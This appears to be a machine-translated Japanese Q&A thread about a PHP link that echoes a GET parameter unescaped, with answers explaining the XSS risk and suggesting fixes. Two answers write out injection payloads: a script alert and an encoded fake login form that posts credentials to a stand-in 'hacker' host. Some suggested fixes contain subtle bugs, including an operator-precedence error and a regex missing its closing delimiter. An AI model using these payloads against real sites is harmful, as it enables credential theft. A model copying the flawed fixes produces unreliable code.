1

私はこの php コードを持っていますが、私の CMS セキュリティ自動テストは、それが XSS 攻撃であると言っています。なぜ、どうすればこれを修正できますか?

$url = "news.php";
if (isset($_GET['id']))
  $url .= "?id=".$_GET["id"];
echo "<a href='{$url}'>News</a>";
4

5 に答える 5

6

誰かがあなたのことを次のように呼び出すことができるのは、XSS(クロスサイトスクリプティング)です。

?id='></a><script type='text/javascript'>alert('xss');</script><a href='

基本的にコードを

<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>

誰かがこのサイトにアクセスするたびalert('xss');に、リダイレクタまたは Cookie スティーラーである可能性がある JavaScript をロードして実行します。

他の多くの人が言及しているように、filter_varまたはintval(数字の場合)を使用してこれを修正できます。さらに高度にしたい場合は、正規表現を使用して文字列を照合することもできます。

az AZ と 0-9 を受け入れると想像してください。これはうまくいきます:

if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) {
    //whatever
}

filter_input必要なことを正確に行う手動入力もあります(入力をリンクにサニタイズします):

<?php
    $search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
    $search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
    echo "You have searched for $search_html.\n";
    echo "<a href='?search=$search_url'>Search again.</a>";
?>
于 2012-11-12T11:54:18.100 に答える
2

ええ..簡単な添付

site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27
             ^
             |
        Start XSS Injection

これは出力します

<a href='news.php?id='></a>
<br>
<br>
Please login with the form below before proceeding:
<form action="http://hacker/test.php">
    <table>
        <tr>
            <td>Login:</td>
            <td><input type=text length=20 name=login></td>
        </tr>
        <tr>
            <td>Password:</td>
            <td><input type=text length=20 name=password></td>
        </tr>
    </table>
    <input type=submit value=LOGIN>
</form>
<a href=''>News</a>

クライアントにユーザー名とパスワードを尋ねて続行し、情報を送信するhttp://hacker/test.phpと、何も起こらなかったかのように通常どおりに直接戻ります

これを修正するには

$_GET["id"] = intval($_GET["id"]);

または

$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);
于 2012-11-12T11:51:59.623 に答える
0

urlencode する必要があります:

$url .= "?id=" . urlencode($_GET["id"]);
于 2012-11-12T11:52:06.377 に答える
0

グローバル ルールとして、GET と POST の内容をフィルター処理する必要があります。$_GET['id'] の内容を使用する前に、filter_var を使用してください。

$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT);
// or at least
$id = (int) $_GET['id'];
于 2012-11-12T11:53:15.400 に答える
0

$_GET または $_POST を直接使用しないでください!!! 何らかの方法でエスケープする必要があります..たとえば..

$url = "news.php";
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){
  $url .= "?id={$id}";
}
echo "<a href='{$url}'>News</a>";
于 2012-11-12T11:53:23.767 に答える